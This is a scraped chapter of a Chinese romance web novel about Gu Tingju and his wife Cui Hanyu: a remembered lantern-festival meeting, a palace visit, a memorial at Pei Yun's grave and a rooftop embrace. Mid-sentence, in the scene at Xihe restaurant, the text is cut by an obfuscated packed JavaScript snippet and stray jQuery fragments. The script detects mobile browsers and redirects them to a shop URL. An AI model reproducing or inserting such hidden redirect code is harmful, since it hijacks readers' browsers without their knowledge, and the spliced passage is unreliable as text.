默认冷灰
24号文字
方正启体

11. 第 11 章

作者:怡米本书字数:K更新时间:
    无心处理公事的顾廷居走到窗前,追逐着那道消食的身影拉长视线,眸光渐渐幽远。


    云缥缈,月杳杳,亦如去年花灯会的那晚。


    身穿浅黄衣裙的少女手拿糖葫芦穿梭在拥挤的人群,身后跟着火急火燎的家仆。


    “二小姐慢点,人多危险。”


    少女扭头做个鬼脸,扭回时不慎撞到行人,手里的糖葫芦好巧不巧粘在那人的衣襟上。


    “抱歉,我不是故意的!”


    少女抬头,被行人脸上的面具吸引。


    一身布衣的行人挺拔昂藏,卓然的气度与脸上狰狞的面具极为不符,有种瑰丽美玉镶嵌在粗制银饰中的突兀感,逗笑了少女。


    “抱歉,我不是故意的。”


    重复的话,不同的含义,上一刻还满含愧疚的人抿着嘴憋笑。


    顾廷居微挑面具下的剑眉,这是他与崔晗玉第一次面对面相遇。少女如茉莉,绽放在一盏盏花灯中。


    一年的观察与留意,让他对这朵小茉莉印象颇深,不知为何,本该说出口的“无妨”变成了“要赔吧”。


    前不久染了风寒的嗓音低沉而沙哑。


    少女缓缓点头,语气认真,“是要赔偿,我不会抵赖。”


    她解下钱袋子,掏出碎银瘫放在掌心,“喏,去买一身合体的衣裳。”


    顾廷居低头看了一眼自己身上不合体的布衣,适才路过池塘,他顺手救下落入冰水的孩童,不得已,临时向附近商家借了一身干爽的衣裳,为了不被熟识瞧见,还顺便买了一副面具。


    “给多了。”


    少女大方得很,将碎银塞进他的手里,“剩下的,你留着买药。”


    顾廷居站在人群中,目视少女远去,微微有些出神。


    表面大大咧咧的人也能心细如发。又一次加深了对她的印象。


    回到书案前的男子拉开另一只抽屉,抽屉里存放着几块碎银,还有一叠以岳岐之名与崔晗玉往来一年的书信。


    **


    皇后母女彻底康复,崔晗玉于次日后半晌被一顶小轿抬进宫中。


    久不见外甥女,崔晗玉抱着梅雅韵使劲儿贴脸,逗笑了在旁倚坐的皇后娘娘。


    “别贴太近,当心再染给你。”


    崔晗玉幼年出过水痘,笑说没有关系,继续抱着外甥女贴贴。


    梅雅韵指向自己眼下一寸半的位置,嘟嘴道:“小姨,我这里留疤了。”


    “时日久了会浅淡的。”崔晗玉摸了摸小公主脸上的痘坑,“这是成长中的一个印记。”


    “可是很丑呀。”


    “那将士们脸上的疤痕丑陋吗?”


    小小孩童用力摇头,“不丑,那是勇敢的痕迹。”


    随即拿起铜镜照了照自己,变得笑嘻嘻,她也很勇敢,战胜了水痘,得到一枚印记。


    崔晗玉诧异于自己会以顾廷居的类比方式安慰他人,一时有些懵愣。同一屋檐下相处久了,耳濡目染吗?


    在宫里逗留了数个时辰,崔晗玉被长姐追问了一些难以启齿的私事。


    夕阳西下,皇后娘娘推了推妹妹的脑袋瓜,嗔了几句,正要命宫人送妹妹出宫,寝宫外忽然有人来报,说是大理寺卿正等在宫门外。


    “夫君都来接你了,还说你们不亲近。”


    崔晗玉没料到顾廷居会特意在宫门外等她,场面功夫做得倒是十足,是记着她那句“抬举她就是抬举顾氏”吧。


    依依不舍的梅雅韵抱住崔晗玉的腰,仰头道:“小姨,小姨夫长得可真俊,比父皇还要俊。”


    话落,别说崔晗玉,就连皇后娘娘都被茶水呛了一口。


    “雅韵记着,父皇最英俊。”


    梅雅韵懵懂点头,又朝着崔晗玉嬉皮笑脸道:“我以后要背着父皇母后夸赞小姨夫。”


    崔晗玉偷瞄一眼长姐,长姐入宫那年,被封德妃,在外人眼里已是皇族对后起之秀崔氏的抬举,谁能想到,妃嫔数十人里,唯有长姐诞下皇女。


    圣上龙颜大悦,册立长姐为后。太后亦是寄予厚望,盼望长姐能为皇族诞下龙子,怎奈希冀落空。


    太后薨逝前还在心心念念着皇孙。


    崔晗玉清楚长姐因何小心翼翼,若非诞下唯一皇女,后宫不会轮到她来掌权。


    出宫路上细雨濛濛,崔晗玉在看到执伞等在远处的顾廷居时,提起裙摆小跑过去。


    裙上绣蝶随着步子展翅欲飞。


    “崔二娘子慢点。”


    送崔晗玉出宫的宦官唤了一声,忙不失迭举着油纸伞上前,却被女子拉开大段距离。


    “你怎么来了?”崔晗玉钻进顾廷居的伞底,歪头问道,“演给外人看的?”


    “想多了。”


    “这样啊,那我刚刚不该快跑的,好像多想见你似的。”


    换作平日,顾廷居或许会与她说笑几句,可这会儿他只是斜握伞柄,将油纸伞遮在崔晗玉的上方,朝气喘吁吁的宦官颔首示意,带着崔晗玉走向马车。


    崔晗玉问道:“咱们要直接回府吗?”


    “去一趟郊外。”


    “去做什么?”


    崔晗玉坐在车厢一边,被阴雨天气包裹,感到丝丝凉意,而坐在对面的顾廷居像是被暗淡天色彻底吞没。


    车夫驱车驶出城门,一路向北疾驰。


    崔晗玉趴在窗口眺望沿途快如光缕的模糊景象,忽然意识到什么,扭头看向静默的男子。


    “今日是裴昀忌日。”


    顾廷居给出答案。


    自小生长在京城的孩子,或多或少都听说过裴昀这个人,他是将门遗孤,原本还有一个弟弟,早年间被拐,不知所踪。


    裴昀继承爵位,一人撑起整座伯府,早慧勇武,热情奔放,若非早逝,建树不会亚于顾廷居和邹商。


    “可释然了?”崔晗玉问得小心,怕触及顾廷居的心伤。


    三兄弟只剩两人,这份遗憾对一个还未沉淀岁月沧桑的年轻人而言,是难以释怀的。


    顾廷居靠在车壁上,像是被勾起一段不堪承受的沉重回忆,“有人还未释然。”


    “长公主吗?”


    众人都知晓的事。二人情投意合,可惜造化弄人。


    那道形如游魂的女子身穿嫁衣,穿梭街道,吓哭过太多稚童,可真正需要发泄的人泪已干涸。在最单纯的年纪失去挚爱,伤痛不亚于剜肉刮骨。


    崔晗玉随顾廷居抵达裴昀坟前时,身穿嫁衣的女子正趴在那里,以额头抵墓碑。


    婢女蔡雀儿陪在一旁,泪流满面。


    邹商站在不远处,黑衣被细雨打湿。


    哭未必悲伤,不哭未必不悲伤。


    崔晗玉跟在顾廷居身后,说不出心中滋味。


    裴昀离开在长公主最爱他的时候,这种痛与患得患失一般,总会在某时某刻被勾起,一遍遍折磨不愿释然的人。


    可人不能一直阴沉下去,会疯掉的。


    雨初歇,晚霞现,顾廷居带着崔晗玉与邹商一起祭扫好友坟墓,鞠躬上香。


    长公主始终沉默,没有多看三人一眼。


    **


    回到长公主府的女子拖着疲惫的身子倒在寝殿中,过于高挑的身躯蜷缩一团。


    心口胀得发疼,她望着殿顶,消解着这份酸痛。


    蔡雀儿接过后厨送来的参汤,蹲在榻边一勺勺喂给她,“殿下别难过了。”


    “本宫想静静。”


    蔡雀儿起身,正要退离,听榻上人哑声道:“本宫还想吃曦和楼的爆肚。”


    那是裴昀最喜欢的一道菜品。


    **


    深夜的曦和楼灯火通明,人声鼎沸。程沐朗付过银两走出酒楼,被夜雨拦下脚步,没有马车的他想要雇一辆小轿。


    由他做东的饭局散了多时,他谎称困倦想要小憩,婉拒了顺路搭乘客人们的车驾。


    从傍晚起,这场雨势忽大忽小忽转停,阴晴不定,淋得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485473|201978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人烦躁。


    久久等不来轿夫,程沐朗重重一叹,打算淋雨跑回去时,街对面停下一辆有些眼熟的马车。


    一道倩影撑开油纸伞,由车夫搀扶着步下脚踏。


    程沐朗的那点酒意顿消,愣愣看着窈窕女子款款走来。


    “郎君借过。”


    声温柔,眼波俏,细腰扭进程沐朗的心里。


    程沐朗心跳不能自已,在对上女子投来的视线时,乱了脚步,趔趄着差点栽出门槛。


    “当心。”


    女子又一次扶住他,眯了眯妩媚的眸子,“是你啊。”


    “是、是在下,娘子还记得在下啊。”


    女子看他肩头落雨,向对面的车夫要来一把伞,“别淋湿了,失意书生。”


    这句失意书生如惊雷炸开在程沐朗的脑海,仅仅两面之缘,她就看出他的落魄与失意。


    知他者,竟是一个陌生人。


    程沐朗攥着油纸伞,克制不住地回眸,女子婀娜的身姿入了他当晚的梦。


    **


    送邹商回到远离贵胄府邸的小宅时,细雨初歇,顾廷居依旧坐在车廊上独自饮酒,回府请安时身形还算四平八稳,但崔晗玉知道他醉了。


    可醉了的人竟还坐到了兰庭苑的屋顶上,镶嵌冷月中。


    崔晗玉叉腰盯了一会儿,差人搬来梯子,也不知顾廷居是怎么爬上去的,飞檐走壁吗?


    爬到屋顶后,崔晗玉展开双手维持平衡,慢慢走到顾廷居身边落座。


    雨后风潮湿,连月光都是清凌凌的,蔓延到男子周身。


    这个一向稳重自持的男子,默默饮着酒,没有耍酒疯,没有胡言乱语,亦没有妨碍到谁。


    喝酒都这么孤独吗?


    “我酒量差,就不陪你喝了。”


    顾廷居饮口酒,淡笑道:“看出来了。”


    想起新婚夜的窘态,崔晗玉环住自己的双腿,闷声道:“但我想安慰你,妨碍你吗?”


    “不会。”


    “我忽然觉得你不再完美无瑕,不再不真实,你有无奈,有心病,有无力挽回的遗憾。人,都有瑕,短暂的消沉不打紧,也是对故人的思念,思念没有瑕,存放在人心最净透的一爿心田。”


    顾廷居看向认真安慰他的女子,忽然抚上她的脸颊,“劝我时头头是道,怎么轮到自己就理不顺呢?”


    要么说医者不自医,心病也是如此。


    崔晗玉微瞠杏眼,还未反应过来,就被顾廷居以另一只手轻揽进怀。


    “嗯?”


    “抱会儿。”


    顾廷居收紧手臂,将下巴抵在女子肩头。雨后的风携着潮气,吹不散屋顶黛瓦的湿润,也没有吹散宁谧中陡生的旖旎。


    万籁俱寂里唯有清风低吟,掠过崔晗玉的耳畔。


    隽永的夜沉淀了万千情绪,崔晗玉在懵懵懂懂中暂且将这份不知名的旖旎归为懂得与理解,她懂他的遗憾,理解他的心伤。


    她一向讲义气。


    无处安放的小手随着这份理解慢慢上移,搭在顾廷居的背上,轻轻拍拂。


    与冯令宜、何知微的柔软身段不同,顾廷居的身体坚硬健硕,抱起来有些硌手臂,她扭了扭腰肢,寻个舒服的体态与男子在月下相拥,费力承受着这副倾覆而下的身躯带来的重量。


    手臂快要不堪重负。


    可她没有将人推开,暗自使劲儿支撑着男子的重量。


    伤心人是需要包容与支撑的。每当受到父亲的训斥,她就想寻一个怀抱,纾解委屈与不满。


    将心比心,只是,再这样下去,她就要失去平衡跌下屋顶了。


    屋顶湿润,保不齐会臀部打滑。


    就在她真的要滑下去时,那双环住她的手臂突然发力,将她紧紧抱在怀里。


    衣料相擦,不留缝隙。


    顾廷居将提心吊胆的人儿倾斜向自己,兜住她的背部,没有松手的意思,似要这样拥抱到天荒地老。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)